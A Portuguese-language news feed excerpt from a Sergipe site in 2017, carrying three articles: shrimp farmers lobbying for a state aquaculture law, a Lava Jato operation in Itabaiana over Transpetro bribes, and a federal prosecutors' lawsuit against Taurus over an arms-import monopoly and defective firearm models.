										<content:encoded><![CDATA[<p style="text-align: justify;">A carcinicultura, cultivo do camarão em cativeiro, será, em 10 anos, a atividade mais rentável em todo Sergipe.  A previsão foi feita pelo engenheiro de pesca da Associação Norte Sergipana de Aquicultura (Ansa), José Milton Barbosa, durante um encontro com 87 criadores do Estado, no auditório do Sebrae.  Mais cedo, o presidente da Ansa, Amilton Amorim, foi recebido pelo presidente da Assembleia Legislativa de Sergipe (Alese), Luciano Bispo, para tratar do Projeto de Lei 183/2017, que estabelece a Política Estadual da Carcinicultura em tramitação naquela Casa.</p>
<figure id="attachment_9551" aria-describedby="caption-attachment-9551" style="width: 300px" class="wp-caption alignright"><img fetchpriority="high" decoding="async" class="size-medium wp-image-9551" src="https://www.sosergipe.com.br/wp-content/uploads/2017/11/amilton-sebrae-300x168.jpg" alt="Amilton Amorim, presidente da Ansa" width="300" height="168" srcset="https://teste.sosergipe.com.br/wp-content/uploads/2017/11/amilton-sebrae-300x168.jpg 300w, https://teste.sosergipe.com.br/wp-content/uploads/2017/11/amilton-sebrae-768x431.jpg 768w, https://teste.sosergipe.com.br/wp-content/uploads/2017/11/amilton-sebrae-1024x575.jpg 1024w, https://teste.sosergipe.com.br/wp-content/uploads/2017/11/amilton-sebrae.jpg 1040w" sizes="(max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-9551" class="wp-caption-text">Amilton Amorim, presidente da Ansa</figcaption></figure>
<p style="text-align: justify;">Na reunião, Amilton Amorim anunciou que está agendado para o dia 30, às 11 horas, uma audiência com o governador de Sergipe, Jackson Barreto, para debater a carcinicultura no Estado e buscar o apoio para que o Projeto de Lei, assim que aprovado pelos deputados estaduais, seja sancionado. Essa atitude do governador, na visão do presidente, irá alavancar o setor econômico extremamente importante.</p>
<p style="text-align: justify;">Amilton ressalta a área de Brejo Grande onde ocorre a produção do camarão está consolidada. “Há séculos os nossos antepassados cultivavam algodão, coco e arroz. Apos a transposição do rio São Francisco, sem antes revitalizá-lo, houve graves consequências desde o desaparecimento das espécies de peixes, o fim do transporte através de canoas de cargas. A diminuição da vazão ocasionou o fim do povoado Cabeço e a salinização do rio inviabilizou a rizicultura”, explicou Amilton.</p>
<p style="text-align: justify;">[box type=&#8221;shadow&#8221; align=&#8221;alignleft&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">Ele disse, também, que longe da ação do Estado as famílias de Brejo Grande foram obrigadas a introduzir a carcinicultura. “Elas estão, de forma organizada, buscando o licenciamento juntos aos órgãos ambientais competentes. A carcinicultura tem um ciclo mais rápido, gera muitos empregos e a água tratada dos viveiros tem melhoras na flora e fauna aquática”, completou.</p>
<p style="text-align: justify;">[/box]</p>
<p style="text-align: justify;">Os criadores de camarão foram informados, também, sobre as ações do Ministério Público Federal (MPF) que vem ajuizando contra a atividade e recomendando o presidente da Alese, Luciano Bispo, em não votar a Lei 183/2017. “Não é verdadeiro que nós estamos destruindo Brejo Grande. O MPF coloca Sergipe como devastador de mangue. Não procede”, assegurou Amilton Amorim.</p>
<p style="text-align: justify;">Já o presidente da Associação Brasileira de Criadores de Camarão (ABCC), Itamar Rocha, que fez uma palestra sobre o tema “Os fundamentos das restrições às importações pelo Brasil e os desafios para produzir camarão na presença da mancha branca”, reforçou que a atividade é lícita e que “todos têm responsabilidade com a família e a comunidade”. Para ele, o camarão é um produto nobre e o seu cultivo gera emprego e renda.</p>
<p style="text-align: justify;">Itamar Rocha, que estará presente na audiência com o governador Jackson Barreto, reforçou que Sergipe tem potencial no setor e que o cultivo do camarão não devasta o meio ambiente. O mesmo entendimento tem o advogado Marcelo Palma, que defende a Ansa e a ABCC. Ele lamentou a postura do MPF que coloca os criadores como se fossem malfeitores.</p>
<p style="text-align: justify;">Ele disse que, pela manhã, na audiência com Luciano Bispo, tirou todas as dúvidas dos parlamentares e do setor jurídico da Alese a respeito da legislação federal que regulamenta a carcinicultura e assegurou a constitucionalidade do projeto de lei estadual. Marcelo Palma é uma das principais autoridades no País em Direito Ambiental.</p>
<p style="text-align: justify;"><strong>Batalha</strong> – Para o presidente da Associação de Criadores de Camarão de São Cristóvão, Alexsandro Monteiro dos Santos, a lei que tramita na Alese “é importantíssima” e conclamou a todos “a entrarem nessa batalha para que seja aprovada e sancionada pelo governador”.</p>
<p style="text-align: justify;">O criador de camarão, Wellington Cavalcante Coutinho, alertou a categoria a não desanimar “e fazer disso o nosso cabo de batalha”, referindo-se à luta pela aprovação da lei estadual. “O camarão de Brejo Grande veio como uma bênção de Deus. Temos o direito ao trabalho e os viveiros nos dá dignidade”, ressaltou.</p>
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		<title>PF faz operação Lava Jato em Itabaiana</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Tue, 21 Nov 2017 13:32:51 +0000</pubDate>
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		<category><![CDATA[Política]]></category>
		<category><![CDATA[Itabaiana]]></category>
		<category><![CDATA[MPF]]></category>
		<category><![CDATA[Operação Lava Jato]]></category>
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					<description><![CDATA[<p>A Polícia Federal (PF) cumpre hoje (21) oito mandados de busca e apreensão, cinco de condução coercitiva e um de prisão temporária na 47ª fase da Lava Jato, chamada de Operação Sothis.  A operação  ocorreu, também, no município de Itabaiana (SE). Um dos alvos da ação é um ex-gerente da Transpetro, subsidiária da Petrobras, seus [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">A Polícia Federal (PF) cumpre hoje (21) oito mandados de busca e apreensão, cinco de condução coercitiva e um de prisão temporária na 47ª fase da Lava Jato, chamada de Operação Sothis.  A operação  ocorreu, também, no município de Itabaiana (SE). Um dos alvos da ação é um ex-gerente da Transpetro, subsidiária da Petrobras, seus parentes e intermediários.</p>
<p style="text-align: justify;">Os mandados judiciais estão sendo cumpridos em endereços nos estados da Bahia (um de prisão temporária, dois de condução coercitiva e quatro de busca e apreensão), de Sergipe (um de condução coercitiva e dois de busca e apreensão), Santa Catarina (um de busca e apreensão) e São Paulo (um de condução coercitiva e um de busca e apreensão).</p>
<p style="text-align: justify;">De acordo com o Ministério Publico Federal (MPF) no Paraná, eles são suspeitos de operacionalizar o recebimento de R$ 7 milhões de propinas pagas por empresa de engenharia, entre setembro de 2009 e março de 2014.</p>
<p style="text-align: justify;">Segundo as investigações, o ex-gerente teria pedido, inicialmente, o pagamento de 1% do valor dos contratos da empresa com a Transpetro como propina, entretanto o acerto final ficou em 0,5%. “Esse valor foi pago mensalmente em benefício do Partido dos Trabalhadores (PT), de modo independente dos pagamentos feitos pela mesma empresa a pedido da presidência da Transpetro, e que eram redirecionados ao PMDB. O ex-gerente se desligou da subsidiária da Petrobras recentemente”, diz a nota divulgada pelo MPF .</p>
<p style="text-align: justify;">A procuradora da República Jerusa Burmann Viecili disse que “nesse caso houve um dos esquemas mais rudimentares de lavagem de dinheiro da Lava Jato. A propina saía da conta bancária da empresa de engenharia para a conta bancária de empresa do filho, sem qualquer contrato ou justificativa para o repasse do dinheiro”.</p>
<p style="text-align: justify;">Segundo a procuradora, além disso, estão sendo investigados contratos entre a empresa do filho, controlada de fato pelo ex-gerente, e a Transpetro, “o que pode indicar a inexistência ou falha grave de mecanismos de <em>compliance</em>”.</p>
<p style="text-align: justify;">De acordo com a PF, o nome da operação é uma referência a uma das empresas investigadas, a Sirius. A estrela Sirius era chamada pelos egípcios de Sothis.</p>
<p>&nbsp;</p>
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		<title>MPF/SE quer fim do monopólio na venda de armas no Brasil</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Mon, 13 Nov 2017 13:32:19 +0000</pubDate>
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		<category><![CDATA[Nacional]]></category>
		<category><![CDATA[Segurança Pública]]></category>
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					<description><![CDATA[<p>O Ministério Público Federal em Sergipe acionou a Justiça contra a União e a empresa Forjas Taurus S.A. para a quebra do monopólio e retirada de obstáculos à importação de armamento e munições no Brasil. Na ação, o MPF também pede à Justiça que dez modelos de armas produzidos pela empresa sejam recolhidos para reparo, [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p class="western" style="text-align: justify;">O Ministério Público Federal em Sergipe acionou a Justiça contra a União e a empresa Forjas Taurus S.A. para a quebra do monopólio e retirada de obstáculos à importação de armamento e munições no Brasil. Na ação, o MPF também pede à Justiça que dez modelos de armas produzidos pela empresa sejam recolhidos para reparo, substituição ou indenização pelo valor pago, a critério do consumidor. Segundo investigação, a baixa qualidade das armas têm causado danos físicos e perdas de vidas humanas no Brasil.</p>
<p class="western" style="text-align: justify;">Pela gravidade da questão, o MPF quer que as rés sejam condenadas a pagar indenização por dano moral coletivo em valor igual ou superior a R$ 40 milhões. Para o Ministério Público, a União instituiu um regime inconstitucional de proteção de mercado com a restrição à importação de armas que beneficiou a Taurus. Dessa forma, foram violados a ordem econômica, os direitos do consumidor, a segurança pública e o patrimônio público.</p>
<p class="western" style="text-align: justify;">A empresa nacional Forja Taurus é uma das três maiores fabricantes de armas leves do mundo. Exporta armas e acessórios para mais de 70 países, sendo a 4ª colocada em venda de armas nos Estados Unidos da América. No Brasil, controla 90% do mercado de armas curtas, graças à reserva de mercado instituída pelo Exército Brasileiro em seu favor.</p>
<p class="western" style="text-align: justify;"><b>Reserva de mercado</b> &#8211; Regulamentação do Exército Brasileiro proíbe importação de armamentos quando existe similar no mercado nacional. Dessa forma, os órgãos de segurança pública de todo o país ficam impedidos de importar armamentos mais adequados e se tornam obrigados a adquirir armas de baixa qualidade que estão sendo produzidas no Brasil.</p>
<p class="western" style="text-align: justify;">Para a procuradora da República Lívia Tinôco, “com a falta da livre concorrência, as empresas nacionais não são pressionadas a buscar melhorias em seus produtos, uma vez que, independentemente da qualidade, tem a garantia de reserva de mercado”. Por isso, para o MPF, “o Exército não pode privilegiar um fabricante, ainda que nacional, em prejuízo da liberdade de mercado, sendo lícito apenas que discipline os calibres e tipos de armas autorizados, restritos ou proibidos, mas não influir na liberdade de uma empresa comercializá-las no país, sob a fragilíssima desculpa de existência de similar nacional.”</p>
<p class="western" style="text-align: justify;"><b>Danos ao erário</b> &#8211; Para o MPF, o dano ao erário é imenso, uma vez que todos os órgãos de Segurança e Defesa e seus integrantes – Guardas Municipais, Policiais Estaduais, Polícias Federais e Forças Armadas – são obrigados a adquirir armas e munições de uma única empresa, com preços acima dos praticados por empresas que poderiam ser concorrentes. A falta de concorrência pode gerar preços abusivos, por exemplo, uma Taurus Model 840.40, SW 4”, no mercado americano custa menos de U$300, o que equivale a menos de mil reais. O mesmo modelo no Brasil é fornecido aos órgãos de Segurança por R$ 4.813,56, isso com isenção da quase totalidade de impostos e sem intermediação de lojistas.</p>
<p class="western" style="text-align: justify;"><b>Armas de baixa qualidade</b> &#8211; Durante a investigação, o MPF recebeu informações, laudos e relatórios técnicos de diversos órgãos de segurança pública, que apontam para a baixa qualidade de alguns modelos de armas da empresa Forjas Taurus. Segundo órgãos de Segurança e Defesa, há quantidade significativa de armas inutilizadas por estarem inservíveis em consequência de quebra ou dano por baixa qualidade ou defeito de fabricação.</p>
<p class="western" style="text-align: justify;"><b>Danos físicos e mortes</b> &#8211; Também foram identificados diversos casos de falhas no disparo ou disparos acidentais em armas produzidas pela Taurus, que levaram a danos físicos e até a morte de pessoas. A quantidade de casos graves levou à criação de uma associação – Vítimas da Taurus – criada para externar a revolta de familiares e de pessoas diretamente atingidas em razão de funcionamento defeituoso das armas Taurus.</p>
<p class="western" style="text-align: justify;">“Pelos defeitos de fabricação nas armas fornecidas aos Estados Unidos, a empresa fez acordo milionário reconhecendo o problema e indenizando os consumidores americanos. Na ação, o MPF busca reparar os danos que a empresa tem causado aos consumidores brasileiros em geral, aos policiais brasileiros em particular, e aos órgãos de segurança pública.”, explica Lívia Tinôco.</p>
<p class="western" style="text-align: justify;">Ao longo da investigação, o MPF/SE ouviu todas as Secretarias de Estado da Justiça/Defesa do Brasil. Dos 26 Estados mais o Distrito Federal, 19, ou seja, 70,3%, responderam que têm problemas com as armas da Taurus. O MPF/SE também obteve informações técnicas de diversos órgãos policiais e se utilizou dos debates da audiência pública realizada na Câmara dos Deputados em agosto de 2016 sobre os defeitos apresentados nas armas fornecidas aos órgãos de Segurança Pública da União, Estados e DF.</p>
<p class="western" style="text-align: justify;"><b>Pedidos l</b><b>iminares</b> &#8211; O MPF/SE pediu, liminarmente, que a Justiça Federal proíba a empresa de comercializar no Brasil dez modelos de armas que têm apresentado defeitos recorrentes. Também que seja obrigada a fazer recall desses modelos para reparo, substituição e/ou indenização, conforme escolha do consumidor. O MPF quer que a União seja proibida de aplicar a restrição imposta pelo Exército Brasileiro (artigo 5º do R-105), que impede a importação de armas, sob o argumento de existência de similar no mercado nacional.</p>
<p class="western" style="text-align: justify;">A Justiça Federal deferiu parcialmente o pedido liminar do MPF e determinou que a empresa Forja Taurus apresente, no prazo de 90 dias, plano detalhado de recall dos dez modelos de armas defeituosas. Os demais pedidos foram negados. Por isso, o MPF/SE recorreu ao Tribunal Regional Federal da 5ª Região e aguarda julgamento do desembargador federal Lázaro Guimarães.</p>
<p class="western" style="text-align: justify;" align="left"><b>Pedido principal</b> – No pedido principal, o MPF/SE quer a modificação do teor do R-105 ou edição de novo regulamento substitutivo que não crie regime de monopólio na venda de armamentos ou munições no Brasil, com privilégios e proteções a empresas nacionais em prejuízo à livre concorrência.</p>
<p class="western" style="text-align: justify;">Também quer que a empresa Taurus seja impedida de comercializar no Brasil os dez modelos de armas que tem apresentado defeitos recorrentes, a menos que comprove solução dos problemas existentes.</p>
<p class="western" style="text-align: justify;">O MPF/SE requer, ainda, que a Taurus seja condenada a realizar recall e a pagar indenização pelos danos morais coletivos praticados contra os consumidores, os policiais brasileiros e a sociedade em geral.</p>
<p class="western" style="text-align: justify;">[box type=&#8221;warning&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p class="western" style="text-align: justify;">Confira os dez modelos de armas produzidas pela Tauros que, segundo investigação do MPF/SE, apresentam defeitos com frequência:</p>
<p style="text-align: justify;">&#8211; pistolas modelo 24/7 PRO TATICAL PRO LS DS, no calibre .40;<br />
&#8211; pistolas modelo PT 840, calibre .40;<br />
&#8211; pistola modelo PT 740, calibre .40<br />
&#8211; pistolas modelo PT 100 calibre .40;<br />
&#8211; pistolas modelo AF calibre .40;<br />
&#8211; pistolas modelo PT 640 calibre .40;<br />
&#8211; pistolas PT 100 Plus, calibre .40;<br />
&#8211; carabinas modelo CT 30 calibre .30;<br />
&#8211; carabinas modelo CT 40, calibre .40 e<br />
&#8211; submetralhadoras MT calibre .40</p>
<p class="western" style="text-align: justify;"><a class="internal-link" title="" href="http://www.mpf.mp.br/se/sala-de-imprensa/docs/acp-taurus" target="_self">Confira aqui a íntegra da ação do MPF/SE.</a></p>
<p class="western" style="text-align: justify;">Número para acompanhamento processual: 0803509-42.2017.4.05.8500</p>
<p class="western" style="text-align: justify;">[/box]</p>
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